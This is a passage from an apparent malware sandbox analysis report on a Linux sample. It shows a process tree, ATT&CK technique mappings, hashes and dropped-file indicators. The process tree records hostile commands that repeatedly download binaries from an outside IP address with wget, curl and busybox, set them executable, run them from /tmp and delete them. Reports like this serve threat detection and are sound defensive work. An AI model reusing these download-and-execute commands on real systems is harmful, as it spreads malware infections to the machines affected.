  ./ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
  2⤵
  PID:897
- /usr/bin/wget
  wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:898
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:900
- /bin/chmod
  chmod 777 a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  ./a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
  2⤵
  PID:905
- /usr/bin/wget
  wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:908
- /bin/chmod
  chmod 777 rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  ./rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
  2⤵
  PID:911
- /usr/bin/wget
  wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:914
- /bin/chmod
  chmod 777 k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  ./k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
  2⤵
  PID:917
- /usr/bin/wget
  wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:920
- /bin/chmod
  chmod 777 yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  ./yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
  2⤵
  PID:923
- /usr/bin/wget
  wget http://216.126.231.240/bins/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
  2⤵
  PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv

Path /tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	686	b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	759	ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	775	a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	781	rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	787	k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	793	yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE
/tmp/xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5	799	xfSvkSBfNe9mm7GzIMnuS3LebwmXWX3kc5
/tmp/t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe	805	t0AQdX1loTOa5D60rDOmknrC4NTh9HEfLe
/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	813	xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	819	kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	825	rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	831	eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	837	fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	843	Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
/tmp/xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO	849	xsg5NjQBDrbD6ExplVA1H263bfIRvZZQPO
/tmp/kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa	856	kxq8hJBZm6zDTnBygSbgOEBN5vOfA9XBRa
/tmp/rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM	866	rfWXNi96mQZXOUMLeF8du4qIIX1XQtWhIM
/tmp/eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy	872	eiFG7ek1FaYCzLF6J4BfZBONprKBOJkasy
/tmp/fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc	878	fN4yjbgylWSX2kpWxEmMW3HJsBZmcUMLZc
/tmp/Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a	884	Bl7AZw6yBBsMt1MdV72oGAQtGsjZBxpx2a
/tmp/b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv	890	b9KSKY38HpZJ0U6hf9ocJPVSRYEmJXu8rv
/tmp/ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM	896	ZZO8kVItQ7SmrhreSUCzkhXNDVqjmHq7wM
/tmp/a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB	904	a7fTgAXWAdWRLXXyUHRaKq2AIZa1lG22gB
/tmp/rO17J7vH26WTKp22FlK0SUY0RSHCINcFay	910	rO17J7vH26WTKp22FlK0SUY0RSHCINcFay
/tmp/k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr	916	k8ZD45btOlG1CsHeIRiFpJjLo9967QRuPr
/tmp/yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE	922	yQS4QvUuYYUVmqP9gnsGtfcWBcrAwYzRkE

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads